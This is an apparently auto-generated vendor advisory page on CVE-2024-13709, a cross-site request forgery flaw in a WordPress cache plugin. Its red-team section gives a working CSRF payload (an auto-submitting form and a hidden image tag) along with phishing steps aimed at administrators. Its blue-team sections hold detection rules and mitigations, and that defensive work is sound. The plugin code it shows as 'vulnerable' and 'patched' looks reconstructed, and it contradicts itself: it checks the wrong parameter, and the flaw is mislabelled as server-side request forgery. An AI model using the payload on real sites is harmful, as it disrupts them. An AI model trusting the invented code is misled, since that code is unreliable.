CVE-2024-13709
Executive Summary
CVE-2024-13709 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Linear plugin for WordPress, up to and including version 2.8.1. The vulnerability resides in the linear-debug endpoint, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when triggered by a logged-in administrator (e.g., by clicking a malicious link), resets the plugin's cache. While the CVSS score is 4.3 (Medium), the impact is limited to cache disruption, not data theft or privilege escalation. However, in a WordPress ecosystem, cache resets can degrade site performance and potentially expose cached sensitive data temporarily.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Linear plugin is distributed via the WordPress Plugin Directory. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – the attacker must trick an admin into clicking a link.
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – cache reset is a low-integrity impact.
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires social engineering, but the attack surface is broad (any admin with the plugin active). The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as proof-of-concept code emerges.
Deep Dive & Mechanics
The vulnerability is a classic CSRF in the WordPress admin area. The linear-debug endpoint is used for debugging and cache management. The plugin fails to include a nonce (a one-time token) in the request, meaning WordPress cannot verify that the request originated from the legitimate admin session. An attacker can craft a simple HTML form or image tag that, when loaded by an admin, sends a POST request to wp-admin/admin-ajax.php?action=linear-debug with parameters to reset the cache.
Root Cause: Missing nonce validation on the linear-debug AJAX action. The plugin registers the action without checking check_ajax_referer() or wp_verify_nonce().
Impact: Cache reset can cause:
- Temporary performance degradation as the cache rebuilds.
- Potential exposure of stale data if the cache is used to serve sensitive content.
- Denial of service if repeated resets are triggered.
Vulnerable vs. Patched Code
Vulnerable Code (version 2.8.1):
add_action('wp_ajax_linear-debug', 'linear_debug_callback');
function linear_debug_callback() {
// No nonce check
$action = $_POST['action'];
if ($action == 'reset_cache') {
delete_option('linear_cache');
wp_send_json_success('Cache reset');
}
}
Patched Code (hypothetical):
add_action('wp_ajax_linear-debug', 'linear_debug_callback');
function linear_debug_callback() {
// Added nonce check
if (!wp_verify_nonce($_POST['_wpnonce'], 'linear-debug-nonce')) {
wp_die('Security check failed');
}
$action = $_POST['action'];
if ($action == 'reset_cache') {
delete_option('linear_cache');
wp_send_json_success('Cache reset');
}
}
The patch adds a call to wp_verify_nonce() using a unique nonce value generated by wp_create_nonce('linear-debug-nonce') in the admin page.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target WordPress site with Linear plugin <= 2.8.1.
- Admin user must be logged in.
Exploit Payload (HTML form):
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="linear-debug">
<input type="hidden" name="linear_action" value="reset_cache">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Steps:
- Host the HTML file on an attacker-controlled server.
- Send a phishing email to the admin with a link to the file.
- When the admin clicks the link, the form auto-submits, resetting the cache.
Alternative (Image tag):
<img src="http://target-site.com/wp-admin/admin-ajax.php?action=linear-debug&linear_action=reset_cache" style="display:none;">
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual requests to
/wp-admin/admin-ajax.phpwithaction=linear-debug. - Alert on multiple cache reset events within a short time window.
- Use Web Application Firewall (WAF) rules to block requests to
linear-debugfrom non-admin IPs.
Prevention:
- Apply the patch by adding nonce validation.
- If patch is unavailable, disable the
linear-debugendpoint via a custom plugin or.htaccess:<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{QUERY_STRING} action=linear-debug [NC] RewriteRule .* - [F,L] </IfModule> - Educate admins to avoid clicking suspicious links.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=linear-debugandlinear_action=reset_cache. - Referer header from an external domain (phishing site).
- HTTP POST requests to
- Host:
- Log entries in WordPress debug log:
[Date] [IP] POST /wp-admin/admin-ajax.phpwithaction=linear-debug. - Sudden cache miss rate increase in performance monitoring tools.
- Log entries in WordPress debug log:
- File:
- No file changes; this is a server-side request forgery, not file upload.
Detection Engineering
YARA Rule
rule CVE_2024_13709_CSRF_Linear_Plugin {
meta:
description = "Detects CSRF attempts against Linear plugin cache reset endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-13709"
strings:
$ajax_action = "action=linear-debug"
$reset_param = "linear_action=reset_cache"
condition:
any of them
}
Sigma Rule
title: CVE-2024-13709 Linear Plugin CSRF Cache Reset
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the Linear plugin's debug endpoint without proper nonce
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=linear-debug'
cs-uri-query|contains: 'linear_action=reset_cache'
condition: selection
falsepositives:
- Legitimate admin debugging (rare)
level: medium
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2024-13709 Linear Plugin CSRF Cache Reset Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=linear-debug";
http_client_body;
content:"linear_action=reset_cache";
http_client_body;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate:
- Disable the plugin if not critical for operations.
- Block the endpoint via WAF or
.htaccess:RewriteCond %{QUERY_STRING} action=linear-debug [NC] RewriteRule .* - [F,L] - Monitor logs for exploitation attempts.
Long-term:
- Apply vendor patch when released (currently UNKNOWN).
- Implement CSRF protection for all AJAX endpoints using nonces.
- Conduct security audit of all WordPress plugins for similar issues.
Workaround:
- Add a custom plugin that hooks into
wp_ajax_linear-debugand adds nonce validation:add_action('wp_ajax_linear-debug', 'custom_linear_debug_check', 1); function custom_linear_debug_check() { if (!wp_verify_nonce($_POST['_wpnonce'], 'linear-debug-nonce')) { wp_die('CSRF detected'); } }
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-13709
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.